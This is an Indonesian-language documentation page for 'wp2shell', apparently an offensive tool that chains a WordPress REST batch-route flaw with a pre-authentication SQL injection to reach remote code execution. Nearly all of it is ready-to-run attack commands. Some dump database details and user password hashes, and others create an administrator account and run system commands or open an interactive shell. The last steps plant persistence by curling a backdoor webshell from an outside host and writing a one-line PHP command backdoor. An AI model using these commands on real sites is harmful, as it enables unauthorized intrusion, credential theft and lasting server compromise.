> For the complete documentation index, see [llms.txt](https://dika-maulidal.gitbook.io/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dika-maulidal.gitbook.io/home/offensive/wp2shell.md).

# wp2shell

**wp2shell** adalah metodologi dan kerangka kerja *proof-of-concept* (PoC) untuk mengeksploitasi kerentanan tingkat lanjut pada WordPress Core. Kerentanan ini merupakan gabungan rantai (*chain*) dari dua celah keamanan utama:

1. CVE-2026-63030 (REST API Batch Route Confusion): Celah *route desynchronization* pada endpoint `/wp-json/batch/v1` yang diperkenalkan pada WordPress versi 6.9. Mengizinkan sub-permintaan tervalidasi diproses ke *callback* yang tidak semestinya, sehingga melewati pembatasan izin akses (*allow-list*).
2. CVE-2026-60137 (SQL Injection pada WP\_Query): Celah injeksi SQL pre-autentikasi melalui parameter `author__not_in` (berdampak pada versi 6.8 hingga 7.0.1) akibat penanganan tipe data string yang tidak aman.

{% hint style="danger" %}
Kombinasi kedua celah ini memungkinkan penyerang yang tidak terautentikasi (*unauthenticated*) untuk membaca database, membuat akun administrator secara paksa, dan mengeksekusi perintah sistem (*Remote Code Execution* / RCE) pada instalasi default WordPress.
{% endhint %}

### **Pengecekan Target & Kerentanan (Check)**

Sebelum melakukan eksploitasi lebih jauh, langkah awal yang harus dilakukan adalah memastikan apakah target benar-benar rentan. Gunakan perintah di bawah ini untuk memvalidasi indikasi *route confusion* dan respons celah SQLi pada target:

* **Cek Dasar (Fingerprint & Marker):**&#x20;

  ```shellscript
  python3 wp2shell.py check https://<target-url>
  ```

<figure><img src="https://3379135436-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4pfT5vR8uE4ISAa7XuPV%2Fuploads%2Fi2xgNmRgfv4XLJDNKtlT%2Fimage.png?alt=media&amp;token=6a09854b-8e85-4e23-9e39-080fbd1daf07" alt=""><figcaption></figcaption></figure>

* **Cek dengan Konfirmasi SQLi Aktif (`--confirm-sqli`):**

  ```shellscript
  python3 wp2shell.py check https://<target-url> --confirm-sqli
  ```

<figure><img src="https://3379135436-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4pfT5vR8uE4ISAa7XuPV%2Fuploads%2F84kx0IbXX5gT7QDcmtgg%2Fimage.png?alt=media&amp;token=60b5e26d-5c04-4055-99d0-57fb81331e88" alt=""><figcaption></figcaption></figure>

* **Membaca/Menguji Koneksi Injeksi::**

  ```shellscript
  python3 wp2shell.py read https://<target-url>
  ```

<figure><img src="https://3379135436-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4pfT5vR8uE4ISAa7XuPV%2Fuploads%2FAT0pnyIQUvQ6sYyk76WD%2Fimage.png?alt=media&amp;token=8356d4bb-e21c-4a0e-8e79-0bf10cfda7e4" alt=""><figcaption></figcaption></figure>

### Pembacaan Database (Read & Enumeration)

Setelah kerentanan terkonfirmasi, tahap berikutnya adalah mengekstrak informasi penting dari dalam database target guna memetakan lingkungan server dan mendapatkan kredensial yang valid.

#### Kueri Informasi Sistem Database

* **Melihat Versi Database:**

  ```shellscript
  python3 wp2shell.py read https://<target-url> --query "SELECT @@version"
  ```
* **Melihat Direktori Fisik Database (`@@datadir`):**

  ```shellscript
  python3 wp2shell.py read https://<target-url> --query "SELECT @@datadir"
  ```
* **Melihat User Database yang Aktif:**

  ```shellscript
  python3 wp2shell.py read https://<target-url> --query "SELECT CURRENT_USER()"
  ```

#### Kueri Penghitungan (*Counting*)

* **Menghitung Total Jumlah Tabel dalam Database:**

  ```shellscript
  python3 wp2shell.py read https://<target-url> --query "SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE()"
  ```
* **Menghitung Total Jumlah Pengguna (*****Total Users*****)**: *(Ganti `wp_users` dengan nama tabel user target, contoh: `wp_users`)*

  ```shellscript
  python3 wp2shell.py read https://<target-url> --query "SELECT COUNT(*) FROM wp_users"
  ```

#### Kueri Enumerasi & Ekstraksi Data

* **Menampilkan Seluruh Nama Tabel:**

  ```shellscript
  python3 wp2shell.py read https://<target-url> --query "SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = DATABASE()"
  ```

<figure><img src="https://3379135436-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4pfT5vR8uE4ISAa7XuPV%2Fuploads%2FUQeRmbPfxAe8nUqtWKAF%2Fimage.png?alt=media&amp;token=f8f765fd-5ae7-4fa0-ad3b-51ce89b4fa52" alt=""><figcaption></figcaption></figure>

* **Mencari Nama Tabel yang Mengandung Kata 'users':**

  ```shellscript
  python3 wp2shell.py read https://<target-url> --query "SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = DATABASE() AND table_name LIKE '%users%'"
  ```

<figure><img src="https://3379135436-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4pfT5vR8uE4ISAa7XuPV%2Fuploads%2FQX6i1mIGrp5ttYludpFx%2Fimage.png?alt=media&amp;token=d6ed7cab-0198-4bec-80c7-f9a3e799e563" alt=""><figcaption></figcaption></figure>

* **Mengekstrak Username dan Hash Password Langsung via SQL**: *(Ganti `wp_users` dengan nama tabel user yang sesuai)*

  ```shellscript
  python3 wp2shell.py read https://<target-url> --query "SELECT group_concat(user_login,':',user_pass) FROM wp_users"
  ```

<figure><img src="https://3379135436-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4pfT5vR8uE4ISAa7XuPV%2Fuploads%2Fu7MIYwj3Ftr9LeOp8sOS%2Fimage.png?alt=media&amp;token=b733d044-9f89-41ec-a037-6ea80ce23343" alt=""><figcaption></figcaption></figure>

#### Kueri Kolom Tabel (*Column Enumeration*)

* **Menghitung Total Jumlah Kolom dalam Suatu Tabel:**

  *(Ganti `wp_users` dengan nama tabel target yang ingin dihitung kolomnya)*

  ```shellscript
  python3 wp2shell.py read https://<target-url> --query "SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='wp_users'"
  ```
* **Mencetak/Menampilkan Seluruh Nama Kolom dari Suatu Tabel:**

  *(Menggunakan `group_concat` agar seluruh nama kolom tercetak dalam satu baris respons)*

  ```shellscript
  python3 wp2shell.py read https://<target-url> --query "SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='wp_users'"
  ```

### Fitur Shell & RCE (`shell`)

Apabila ekstraksi data telah berhasil atau Anda ingin langsung menguji dampak maksimal dari rantai eksploitasi ini, fitur *shell* dapat digunakan untuk mengeksekusi perintah sistem secara langsung tanpa memerlukan kredensial awal.

* **Menjalankan Perintah Sistem Tunggal (Tanpa Kredensial / Crack-Free RCE)**: Perintah otomatis membuat akun administrator sementara, melakukan autentikasi, lalu mengeksekusi perintah (contoh: `id`):

  ```shellscript
  python3 wp2shell.py shell https://<target-url> --cmd id
  ```

<figure><img src="https://3379135436-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4pfT5vR8uE4ISAa7XuPV%2Fuploads%2FDaqw6hOkFpJ6HJNSpofb%2Fimage.png?alt=media&amp;token=51018f14-008f-4fa6-bdc9-4e41cc80896d" alt=""><figcaption></figcaption></figure>

* **Masuk ke Sesi Shell Interaktif (REPL):**

  ```shellscript
  python3 wp2shell.py shell https://<target-url> -i
  ```

<figure><img src="https://3379135436-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4pfT5vR8uE4ISAa7XuPV%2Fuploads%2FD5o74IUW7CM0qTSdL7Db%2Fimage.png?alt=media&amp;token=4b5b5ce0-6b24-482b-8316-97f8261e8f6b" alt=""><figcaption></figcaption></figure>

* **Menggunakan Kredensial yang Sudah Ada (Hasil&#x20;*****Crack Hash*****&#x20;atau Admin yang Ditemukan)**: Jika Anda sudah mendapatkan *plaintext password* dari hasil *crack hash* database sebelumnya, Anda bisa langsung melakukan *login* menggunakan akun tersebut:

  ```shellscript
  python3 wp2shell.py shell https://<target-url> --user <username> --password '<cracked_password>' --cmd id
  ```

### Fitur Upload & Manajemen Webshell (Upload)

{% hint style="warning" %}
Tahap ini dilakukan setelah berhasil mendapatkan akses administratif atau jalur eksekusi plugin untuk menanamkan pengendali jarak jauh (webshell) pada server target.
{% endhint %}

Sebagai tahap akhir untuk mempertahankan akses persisten, Anda dapat mengunduh atau menanamkan file *webshell* kustom ke dalam direktori root server target menggunakan perintah berikut:

* **Mengunduh Gel4y Mini Shell secara langsung ke direktori target:**

  ```shellscript
  curl -o /var/www/html/gel4y.php "https://raw.githubusercontent.com/AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode/refs/heads/main/Gel4y-Mini-Shell-3_original.php"
  ```
* **Membuat Backdoor Sederhana (Parameter cmd) di Root Direktori:**

  ```shellscript
  echo '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' > /var/www/html/backdoor.php
  ```

### Verifikasi & Akses Webshell melalui Browser

{% hint style="info" %}
Setelah proses *payload* atau pengunduhan file backdoor berhasil dieksekusi pada server target, langkah terakhir adalah memvalidasi fungsionalitasnya melalui peramban web (*browser*). Pastikan jalur direktori root target sesuai dengan konfigurasi web server yang digunakan (seperti `/var/www/html/`).
{% endhint %}

| Jenis Webshell / Backdoor | Endpoint URL Akses                       | Gambar                                                                                                                                                                                                                                                                  |
| ------------------------- | ---------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Gel4y Mini Shell          | http\://\<domain/ip>/gel4y.php           | <p></p><p><img src="https://3379135436-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4pfT5vR8uE4ISAa7XuPV%2Fuploads%2F1MIXtRM3rz2rzhdIPcO7%2Fimage.png?alt=media&amp;token=b4b95ee5-da3c-4a71-bc6d-d4afe9f82a8d" alt="" data-size="original"></p> |
| Simple Backdoor           | http\://\<domain/ip>/backdoor.php?cmd=id | <p></p><p><img src="https://3379135436-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4pfT5vR8uE4ISAa7XuPV%2Fuploads%2FH62MiuhuXjoNUneVbSoP%2Fimage.png?alt=media&amp;token=db70c45c-d19a-4d3d-9d4c-6589c1acd1cd" alt="" data-size="original"></p> |

{% hint style="warning" %}
Selalu bersihkan (*cleanup*) file webshell atau backdoor yang telah diuji setelah kegiatan pengujian selesai untuk mencegah eksploitasi lanjutan oleh pihak yang tidak bertanggung jawab.
{% endhint %}
